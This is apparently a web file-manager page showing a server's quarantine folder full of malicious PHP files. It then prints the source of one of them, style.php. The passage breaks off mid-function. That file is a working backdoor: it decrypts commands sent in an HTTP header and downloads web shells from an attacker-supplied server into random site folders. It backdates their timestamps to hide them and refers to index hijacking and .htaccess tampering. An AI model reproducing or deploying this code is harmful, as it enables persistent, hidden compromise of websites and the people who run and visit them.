golden hour
/home2/nemzcoma/.quarantine
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess_1ed26g38
265 B
Del
OK
.htaccess_80253gf3
265 B
Del
OK
.htaccess_8a15d87c
265 B
Del
OK
.htaccess_c1fdg68a
265 B
Del
OK
.htaccess_fae21031
265 B
Del
OK
.tmp_stealth17750518124789051_354b4268
14.19 KB
Del
OK
.tmp_stealth17750518349255163_64hgd1hh
14.19 KB
Del
OK
12daygood.php_4f7e1chf
76.62 KB
Del
OK
133.php_1062b5e2
26.64 KB
Del
OK
155.php.tar_14bdg1g1
33 KB
Del
OK
155.php.tar_b7877a2f
33 KB
Del
OK
155.php_1gd1h1g5
152.82 KB
Del
OK
155.php_ec4a1082
152.82 KB
Del
OK
177.php_6c27a867
152.68 KB
Del
OK
199.php_5777ae85
121.51 KB
Del
OK
222.php_3had5gg2
15.76 KB
Del
OK
222.php_44g878fc
15.76 KB
Del
OK
222.php_53cb7a15
15.76 KB
Del
OK
222.php_74f83fgb
15.76 KB
Del
OK
222.php_8b51a77c
15.76 KB
Del
OK
222.php_bca37c5c
15.78 KB
Del
OK
222.php_da3f1584
15.76 KB
Del
OK
222.php_e742h807
15.76 KB
Del
OK
2index.php_601b856c
10.7 KB
Del
OK
404.php_58a52e4c
46.96 KB
Del
OK
56839_588c0c24
420 B
Del
OK
67473_57cf3fe5
419 B
Del
OK
6ap7e.php_24a81g31
77.47 KB
Del
OK
Al7.php_e4g5f25g
565 B
Del
OK
Cap.php_fecea33b
77.26 KB
Del
OK
Do Not Delete.zip_7f454ba2
933 B
Del
OK
Pan7her-plugin.php_c07d03gd
2.35 KB
Del
OK
Wp-covid-mb.php.tar_1e133hd1
78 KB
Del
OK
about.php_48d54ed3
1.4 KB
Del
OK
about.php_a7hf5f44
3.69 KB
Del
OK
about.php_d61fad01
1.4 KB
Del
OK
about.php_ea11g1h5
17.29 KB
Del
OK
acp.php_2a373b03
178.11 KB
Del
OK
admin.php_103f6d63
1.05 MB
Del
OK
admin.php_1b77g7eb
1.05 MB
Del
OK
admin.php_40gc567b
41.11 KB
Del
OK
admin.php_46121fb8
1.05 MB
Del
OK
admin.php_4a28dhe8
125.25 KB
Del
OK
admin.php_4cd0dhh1
5.24 KB
Del
OK
admin.php_5hfb714a
87.67 KB
Del
OK
admin.php_71h1847c
5.24 KB
Del
OK
admin.php_8d3486ed
77.43 KB
Del
OK
admin.php_a2e45ad0
32.18 KB
Del
OK
admin.php_aa78ce5d
19.13 KB
Del
OK
admin.php_b51e7052
5.24 KB
Del
OK
admin.php_ccb3ceec
32.18 KB
Del
OK
admin.php_e17cfb8f
32.18 KB
Del
OK
admin.php_g4eh10ff
19.11 KB
Del
OK
adminfuns.php_ba41f4a5
173.77 KB
Del
OK
adminfuns.php_bh6fcgch
173.77 KB
Del
OK
agulnson.php_3e27bd5f
166.51 KB
Del
OK
ammika.php_6bd8a5c5
19.14 KB
Del
OK
aqffbglk.php_844ce0gd
168.58 KB
Del
OK
archive.php_7e65hgb2
14.76 KB
Del
OK
archive.php_b2f42138
14.76 KB
Del
OK
as.php_13f1e48g
33.19 KB
Del
OK
atpmoagh.php_e14e0371
168.59 KB
Del
OK
blackPrivet.php_a0bc0f7h
7.17 KB
Del
OK
buy.php_678850h2
1.46 KB
Del
OK
buy.php_6b024e06
1.48 KB
Del
OK
buy.php_f7e16d0g
1.48 KB
Del
OK
cap.php_db4fd1b4
8.47 KB
Del
OK
cap.php_h472e4f8
8.47 KB
Del
OK
carev.php_237d07e4
78.16 KB
Del
OK
caydyamw.php_ce48b784
168.62 KB
Del
OK
cbfaxywfxw.php_7ge7fa03
2.06 KB
Del
OK
cbfaxywfxw.php_dgd114f6
2.06 KB
Del
OK
cjiwridm.php_d47784ga
166.51 KB
Del
OK
coffee.tar_bdh2bddc
178.5 KB
Del
OK
colors.zip_da7h3030
870.61 KB
Del
OK
comment-content.tar_0d3hd63h
117 KB
Del
OK
comment-content.zip_ea3c6876
111.91 KB
Del
OK
content.php_a54a5c12
17.36 KB
Del
OK
coordjktrb.php_28812ga2
2.06 KB
Del
OK
cvmdhnlg.php_77g8c3b1
168.58 KB
Del
OK
cyjgosfm.php_faga5b3b
14.76 KB
Del
OK
czhdwhna.php_6g4edb8a
168.59 KB
Del
OK
dccpptbfcj.php_bcaf33f8
2.06 KB
Del
OK
ddllcfjo.php_a6h6ggbg
166.5 KB
Del
OK
default.php_3288ee1d
851 B
Del
OK
default.php_a1edc636
5.13 KB
Del
OK
defaults.php_c85h8aef
1.93 KB
Del
OK
defvpyazgx.php_bhc700fb
2.06 KB
Del
OK
dzhkpqeino.php_0bb2b634
2.06 KB
Del
OK
dzhkpqeino.php_g54447aa
2.06 KB
Del
OK
eaycvhzjhp.php_0d6b5b44
1.5 KB
Del
OK
edit.php_30331bg7
17.28 KB
Del
OK
eek.php_5175e56a
15.66 KB
Del
OK
eigvcvxi.php_1c2bb685
14.76 KB
Del
OK
eikuafrp.php_a83d701c
166.51 KB
Del
OK
epnajzqj.php_5ebca1e5
166.5 KB
Del
OK
eqgueytq.php_b03g35ad
168.59 KB
Del
OK
fctwgoug.php_c8g6ebf1
168.58 KB
Del
OK
fetch.php_h03ge4cd
2.13 KB
Del
OK
filefuns.php_16abceb3
5.52 KB
Del
OK
filefuns.php_1hf2b50f
5.08 KB
Del
OK
filefuns.php_a4h0af70
5.08 KB
Del
OK
fnclunnskq.php_2ach6fbc
2.06 KB
Del
OK
foyqjhha.php_04h482a2
14.76 KB
Del
OK
ftde.php_bcg71fec
21.5 KB
Del
OK
geju.php_5fga4gac
181 B
Del
OK
gfherhfghre.tar_03840c3e
140.5 KB
Del
OK
gfherhfghre.zip_ae44efg0
330.59 KB
Del
OK
giplxdedyh.php_a8b1g5h3
2.06 KB
Del
OK
gmryhckjuu.php_5cege543
2.06 KB
Del
OK
goods.php_1e720d6e
173.77 KB
Del
OK
goods.php_22c2hf7c
173.77 KB
Del
OK
goods.php_27h36gf0
173.77 KB
Del
OK
goods.php_410h45g5
173.77 KB
Del
OK
goods.php_44b215ab
173.77 KB
Del
OK
goods.php_acg3h704
173.77 KB
Del
OK
goods.php_agg47806
173.77 KB
Del
OK
goods.php_h6b84ff8
173.77 KB
Del
OK
gtoffyeu.php_5aged7dg
166.51 KB
Del
OK
gujjrkzs.php_115hd280
168.58 KB
Del
OK
gvxxvfnu.php_1gf338eb
166.51 KB
Del
OK
henglywt.php_58610d37
14.76 KB
Del
OK
hiroshi.php_1gdb6ch5
18.34 KB
Del
OK
hiroshi.php_5b4d04c0
7.31 KB
Del
OK
hiroshi.php_habaggce
6.19 KB
Del
OK
hypdiejx.php_5051b45c
14.76 KB
Del
OK
hypmxgwkee.php_00h0gd15
2.06 KB
Del
OK
index.php_002b4e7g
14.76 KB
Del
OK
index.php_024e51a4
14.76 KB
Del
OK
index.php_02a837de
14.76 KB
Del
OK
index.php_08521e0c
35.02 KB
Del
OK
index.php_08c64fh2
9.64 KB
Del
OK
index.php_0a62571d
6.25 KB
Del
OK
index.php_0h7480dh
38.58 KB
Del
OK
index.php_12adcbh7
155 B
Del
OK
index.php_1304f520
14.76 KB
Del
OK
index.php_135ad71d
14.76 KB
Del
OK
index.php_13c5e8h4
14.76 KB
Del
OK
index.php_168hah4f
14.76 KB
Del
OK
index.php_1a30ee6b
14.76 KB
Del
OK
index.php_1cf1e001
14.76 KB
Del
OK
index.php_2051b8d2
38.58 KB
Del
OK
index.php_27fh3ec4
5.91 KB
Del
OK
index.php_2a8a32c7
14.76 KB
Del
OK
index.php_2c858a57
2.75 KB
Del
OK
index.php_2fa41620
14.76 KB
Del
OK
index.php_2g885402
14.76 KB
Del
OK
index.php_305d3dgf
17.45 KB
Del
OK
index.php_3080fd0d
38.58 KB
Del
OK
index.php_31254acg
14.76 KB
Del
OK
index.php_328701cb
14.76 KB
Del
OK
index.php_348710fd
14.76 KB
Del
OK
index.php_37bhfce6
14.76 KB
Del
OK
index.php_38bf07af
18.11 KB
Del
OK
index.php_3cefc7g3
6.21 KB
Del
OK
index.php_3fdd36d6
38.58 KB
Del
OK
index.php_3gfbdb4e
14.76 KB
Del
OK
index.php_424d8720
14.76 KB
Del
OK
index.php_450fa42g
14.76 KB
Del
OK
index.php_45ce4446
14.76 KB
Del
OK
index.php_45hbd7ed
38.58 KB
Del
OK
index.php_486066fa
320 B
Del
OK
index.php_4a2g1808
38.58 KB
Del
OK
index.php_4bddg858
38.58 KB
Del
OK
index.php_4bfeb621
38.58 KB
Del
OK
index.php_4cfhe022
86.65 KB
Del
OK
index.php_4dg863gb
14.76 KB
Del
OK
index.php_4fhe0g60
38.58 KB
Del
OK
index.php_4h64350b
14.76 KB
Del
OK
index.php_523g02a4
38.58 KB
Del
OK
index.php_52ab7422
1.93 KB
Del
OK
index.php_546a5h85
14.76 KB
Del
OK
index.php_551af748
14.76 KB
Del
OK
index.php_552g7g55
14.76 KB
Del
OK
index.php_55e6ga6g
38.58 KB
Del
OK
index.php_562ae1e1
38.58 KB
Del
OK
index.php_5bfb3385
14.76 KB
Del
OK
index.php_5db06fb3
320 B
Del
OK
index.php_5f0fh76g
14.76 KB
Del
OK
index.php_6241gbbb
14.76 KB
Del
OK
index.php_6860ghec
1.93 KB
Del
OK
index.php_6agfe1eg
14.76 KB
Del
OK
index.php_6fd554h8
14.76 KB
Del
OK
index.php_6ff7fgdb
219 B
Del
OK
index.php_6fh71218
14.76 KB
Del
OK
index.php_6gh0b77d
14.76 KB
Del
OK
index.php_7151h71h
14.76 KB
Del
OK
index.php_723765eh
2 KB
Del
OK
index.php_72a2428f
38.58 KB
Del
OK
index.php_74hf56ba
1.66 KB
Del
OK
index.php_7517cg8c
1.87 KB
Del
OK
index.php_76h73370
6.98 KB
Del
OK
index.php_7757617h
14.76 KB
Del
OK
index.php_7bbd52g1
14.76 KB
Del
OK
index.php_7d3g1c4d
2.75 KB
Del
OK
index.php_7dhhfeg5
14.76 KB
Del
OK
index.php_7e57gb0d
14.76 KB
Del
OK
index.php_7ef7e4db
14.76 KB
Del
OK
index.php_7hc1e6g2
1.17 KB
Del
OK
index.php_80h8c2cb
424 B
Del
OK
index.php_854ebc4c
14.76 KB
Del
OK
index.php_8e8218eg
38.58 KB
Del
OK
index.php_8had6573
6.98 KB
Del
OK
index.php_a0022g32
14.76 KB
Del
OK
index.php_a01efh35
1.29 KB
Del
OK
index.php_a2f3f6gb
419 B
Del
OK
index.php_a5647edd
14.76 KB
Del
OK
index.php_a84c5682
14.76 KB
Del
OK
index.php_a8c54hb4
14.76 KB
Del
OK
index.php_ac65f5he
431 B
Del
OK
index.php_ac8010g3
6.98 KB
Del
OK
index.php_ad2a4d0e
14.76 KB
Del
OK
index.php_afah2182
14.76 KB
Del
OK
index.php_b0d75fg8
14.76 KB
Del
OK
index.php_b553b576
14.76 KB
Del
OK
index.php_b5eg1f8a
14.76 KB
Del
OK
index.php_b6bch211
14.76 KB
Del
OK
index.php_bd10d1b2
431 B
Del
OK
index.php_bgf01736
5.23 KB
Del
OK
index.php_bhdg67h8
38.58 KB
Del
OK
index.php_c07a00da
14.76 KB
Del
OK
index.php_c20617ae
38.58 KB
Del
OK
index.php_c27736e5
14.76 KB
Del
OK
index.php_c3h451e0
14.76 KB
Del
OK
index.php_c6g0d0d6
14.76 KB
Del
OK
index.php_c7f06dbb
1.14 KB
Del
OK
index.php_ce0856ag
35.02 KB
Del
OK
index.php_ch28a4fe
2.03 KB
Del
OK
index.php_d2ec520f
14.76 KB
Del
OK
index.php_d325dc3e
1.72 KB
Del
OK
index.php_d3bf16b6
14.76 KB
Del
OK
index.php_d8786h2f
14.76 KB
Del
OK
index.php_dc81e17d
14.76 KB
Del
OK
index.php_dd20e1he
14.76 KB
Del
OK
index.php_ddf1f8hf
14.76 KB
Del
OK
index.php_dgabc03b
14.76 KB
Del
OK
index.php_e4b56e33
14.76 KB
Del
OK
index.php_e4gfb1bb
14.76 KB
Del
OK
index.php_e6eg1e1a
14.76 KB
Del
OK
index.php_e78d8fhh
14.76 KB
Del
OK
index.php_ec5ae8bg
6.72 KB
Del
OK
index.php_ef04g777
14.76 KB
Del
OK
index.php_f66h7hdg
14.76 KB
Del
OK
index.php_f8fb6fhf
431 B
Del
OK
index.php_fec86gd7
38.58 KB
Del
OK
index.php_ff0fh282
219 B
Del
OK
index.php_fheh3eda
14.76 KB
Del
OK
index.php_g2g66b8e
14.76 KB
Del
OK
index.php_g31aadg5
431 B
Del
OK
index.php_gb38g350
14.76 KB
Del
OK
index.php_h5a3g2ce
14.76 KB
Del
OK
index.php_h7dhbg63
431 B
Del
OK
index.php_h85688ca
431 B
Del
OK
index.php_hebdg1h6
14.76 KB
Del
OK
index.php_hg86827c
14.76 KB
Del
OK
install-heIper.php_0fd4bgcg
574 B
Del
OK
install-heIper.php_532a2fgc
219.63 KB
Del
OK
ipnfmkpg.php_603dc061
168.58 KB
Del
OK
ipzfxehz.php_b2f8e7d8
168.58 KB
Del
OK
item.php_32bd52bg
1.29 KB
Del
OK
item.php_7c081d50
78.32 KB
Del
OK
ivqhfgpxhi.php_4e2d7gf1
1.5 KB
Del
OK
jbjyknffdu.php_538h0f46
2.06 KB
Del
OK
jbjyknffdu.php_f567a463
2.06 KB
Del
OK
jbtkjmyh.php_cg8h4304
166.51 KB
Del
OK
jeqvcuytep.php_4aed4e5c
2.06 KB
Del
OK
jizlzrsp.php_66fdbhbh
14.76 KB
Del
OK
jj.php_3g347a35
14.43 KB
Del
OK
jj.php_7dgce8fg
14.43 KB
Del
OK
jj.php_7f7fb625
14.43 KB
Del
OK
jj.php_80age0ba
14.43 KB
Del
OK
jj.php_a0h55a77
14.43 KB
Del
OK
jtjtlplj.php_3h26673d
166.51 KB
Del
OK
jwbvbljs.php_1da5bgde
168.58 KB
Del
OK
kbenxqtoxi.php_h3a4b8fd
2.06 KB
Del
OK
kgybsldp.php_4a3b28e7
168.58 KB
Del
OK
koghbbjp.php_dhf64ahh
14.76 KB
Del
OK
kvdjmgnh.php_2814751g
14.76 KB
Del
OK
kxahhzadkr.php_7bccfb40
1.5 KB
Del
OK
kxinetrt.php_3cf630b3
168.58 KB
Del
OK
kzpvmkbe.php_4d448708
168.59 KB
Del
OK
lgwprosb.php_16df7g4g
166.51 KB
Del
OK
livhstwc.php_c4e58e85
14.76 KB
Del
OK
lock360.php_b58hfd5g
1.4 KB
Del
OK
lqcnojbo.php_d6d0efhc
166.51 KB
Del
OK
lurtqlar.php_c63had02
168.58 KB
Del
OK
lvxsorgdsx.php_62h855b6
2.06 KB
Del
OK
lwqtcnztbn.php_gdg86eg4
1.5 KB
Del
OK
lxgsjquj.php_g47gf0g7
168.58 KB
Del
OK
lzujubgmgg.php_1fe84baf
2.06 KB
Del
OK
lzujubgmgg.php_7hc35a32
2.06 KB
Del
OK
mah.php_10e82b8e
1.4 KB
Del
OK
mah.php_7ah2c3fc
1.4 KB
Del
OK
mah.php_d6fbhdaa
1.4 KB
Del
OK
maxngmtc.php_ae521b04
166.51 KB
Del
OK
mewhkxdz.php_7e3064f5
168.58 KB
Del
OK
mhprvdlb.php_434a6551
168.58 KB
Del
OK
minik.php_064hc200
12.41 KB
Del
OK
minik.php_ge53a0b6
12.41 KB
Del
OK
mnevqljr.php_h4h7bceg
168.58 KB
Del
OK
mptwzeux.php_1f3800gh
14.76 KB
Del
OK
msegtfftof.php_7aah4hd2
2.06 KB
Del
OK
naathfag.php_32e8fg20
168.58 KB
Del
OK
nefrcqnt.php_673h7be1
168.58 KB
Del
OK
nfbuqnbl.php_4fbbaa2h
14.76 KB
Del
OK
nlftnmqh.php_400fh080
166.51 KB
Del
OK
nonomnag.php_522da5f8
166.51 KB
Del
OK
ntcwvmfkva.php_6e2ba73h
2.06 KB
Del
OK
nwflm.php_44f0f683
2.16 MB
Del
OK
nwflm.php_c6102hb0
2.16 MB
Del
OK
nwsnnfuk.php_d1d5181e
168.58 KB
Del
OK
oaefvwpt.php_54gca118
168.58 KB
Del
OK
oajxsiov.php_6dege02e
168.58 KB
Del
OK
obtwyduy.php_00cb434d
168.58 KB
Del
OK
oiiirceg.php_a3fg1cgh
168.58 KB
Del
OK
olbcljui.php_64d13bdg
168.58 KB
Del
OK
olkpcaihxz.php_01128b7h
1.5 KB
Del
OK
onlqnphypz.php_18h40aaf
2.06 KB
Del
OK
onlqnphypz.php_d5e5575b
2.06 KB
Del
OK
ophpdiyc.php_841b8723
168.58 KB
Del
OK
product.php_c1hebg06
2.03 KB
Del
OK
pyucbkvp.php_gf33157h
14.76 KB
Del
OK
qbjvgalx.php_b8feh7fa
14.76 KB
Del
OK
radio.php_0e6d3b34
17.29 KB
Del
OK
radio.php_85b4h2ge
22.06 KB
Del
OK
rawr2.php_243hf70f
101.3 KB
Del
OK
rcmgkjri.php_2c42cc11
166.51 KB
Del
OK
rdmysiml.php_2b726cf5
168.58 KB
Del
OK
rgjycvvu.php_806a603b
168.58 KB
Del
OK
rjaoekjdqp.php_ebh0d4d3
1.5 KB
Del
OK
rthwmrtk.php_fh52h1b0
14.76 KB
Del
OK
rtsjddkvad.php_4022af04
2.06 KB
Del
OK
s.php_25c08c85
6.76 KB
Del
OK
saiga.php_4152d2b5
8.89 KB
Del
OK
saiga.php_hd020fd7
13.4 KB
Del
OK
sbkxvkjr.php_b338fgb8
168.58 KB
Del
OK
sc.php_2hc03cah
177.99 KB
Del
OK
sciokkqf.php_gh75ba35
168.58 KB
Del
OK
sesnnlcz.php_ca8e14g1
14.76 KB
Del
OK
slider.php_16dc0cc4
46.96 KB
Del
OK
slkzvwlk.php_g0470334
168.58 KB
Del
OK
ss.php_8g353dhc
13.5 KB
Del
OK
style.php_3dcbe1bh
13.37 KB
Del
OK
style.php_c2b8fe4g
13.37 KB
Del
OK
style.php_d734b5fh
13.37 KB
Del
OK
style.php_eh7c550a
13.37 KB
Del
OK
su.php_4661dh04
77.12 KB
Del
OK
su.php_dbec5868
77.12 KB
Del
OK
su.php_eg3dcf52
77.12 KB
Del
OK
supzaayg.php_2846d6hc
168.58 KB
Del
OK
swmqaomt.php_34648h82
168.58 KB
Del
OK
symlnkgd.php_8ggaf63e
14.19 KB
Del
OK
symlnkgd.php_f74hdd38
14.19 KB
Del
OK
syxioxdi.php_f706348f
168.58 KB
Del
OK
tccbrjyo.php_cfgef148
168.58 KB
Del
OK
tdfqpyis.php_ag0814d2
14.76 KB
Del
OK
thifeait.php_25e204ea
14.76 KB
Del
OK
tkvajdnf.php_151526ff
166.51 KB
Del
OK
tqkyqalj.php_a082e1h4
168.59 KB
Del
OK
ubbnjwsxtd.php_16ce5252
2.06 KB
Del
OK
ubsloncl.php_f68g3bc7
168.58 KB
Del
OK
ucpscowj.php_1h5hc1bb
168.58 KB
Del
OK
uftwrtfm.php_3f0517ec
168.58 KB
Del
OK
upwxvzdq.php_ec214b47
14.76 KB
Del
OK
vendoyters.tar_2gg8aahh
101.5 KB
Del
OK
vendoyters.zip_ee807f28
226.3 KB
Del
OK
vfyroihafh.php_acb775ff
2.06 KB
Del
OK
vheogeuhio.php_a332d500
2.06 KB
Del
OK
vhndghqj.php_h5g6c760
168.59 KB
Del
OK
vmmpmnbv.php_c816062a
168.58 KB
Del
OK
vpmgvmvf.php_3d7cg373
168.58 KB
Del
OK
vprbehyz.php_c624ea2e
168.58 KB
Del
OK
vrybkybi.php_d318fh2f
166.52 KB
Del
OK
vsrripyp.php_dg0838ab
166.51 KB
Del
OK
wcmkzqbk.php_f305hbb4
14.76 KB
Del
OK
whluhuej.php_0h06a0ea
168.58 KB
Del
OK
whoytnbj.php_463fag71
14.76 KB
Del
OK
wp-blog.php_076243eb
77.49 KB
Del
OK
wp-conffg.php_e1f00dc3
122.7 KB
Del
OK
wp-conffg.php_h422dch5
122.7 KB
Del
OK
wp-conffq.php_d276cdfd
147.36 KB
Del
OK
wp-links.gz_0fdef566
28.4 KB
Del
OK
wp-links.php_b8c1hhce
44 B
Del
OK
wp-links.php_cbb8fb61
233 B
Del
OK
wp-login.php_fe8g65hh
10.7 KB
Del
OK
wp-sx9.php_01c7f578
74.61 KB
Del
OK
wp-sx9.php_28860a88
74.61 KB
Del
OK
wp-sx9.php_bgfhd32f
74.59 KB
Del
OK
wp_oks.php_8b82h2c8
7.13 KB
Del
OK
wps.php_526f8444
16.57 KB
Del
OK
wukhlaxc.php_e414gf50
14.76 KB
Del
OK
xhrnlyun.php_02c226e4
14.76 KB
Del
OK
xjrjhlix.php_3bebaeca
14.76 KB
Del
OK
xlrcjokz.php_2g431504
166.52 KB
Del
OK
xmanager.php_2d7ag4cf
12.55 KB
Del
OK
xqwlszcimz.php_46703f07
1.5 KB
Del
OK
xsmofymf.php_d1caf65b
168.58 KB
Del
OK
xulctjkr.php_e0cgaf4e
14.76 KB
Del
OK
xwpg.php_2f6068d6
237.88 KB
Del
OK
xwx1.php_2c2g7ga5
8.99 MB
Del
OK
xxx.js_57cf8a3e
6.72 KB
Del
OK
ytmtofrb.php_2b3g3be6
168.58 KB
Del
OK
zeta.php_gc2bh5de
44.85 KB
Del
OK
zijdwkou.php_ac367h1f
168.59 KB
Del
OK
zkkzjzupzf.php_d4gd5373
2.06 KB
Del
OK
zlmveewc.php_a5cda347
166.51 KB
Del
OK
zqwdaldagw.php_6ha3b2gf
2.06 KB
Del
OK
zqwdaldagw.php_8eb0h61h
2.06 KB
Del
OK
zrvkwgcb.php_afce034c
168.59 KB
Del
OK
zwewyhes.php_bg6d64fd
168.58 KB
Del
OK
zwwpvctr.php_55b7d6eg
166.51 KB
Del
OK
Edit: style.php_d734b5fh
<?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . 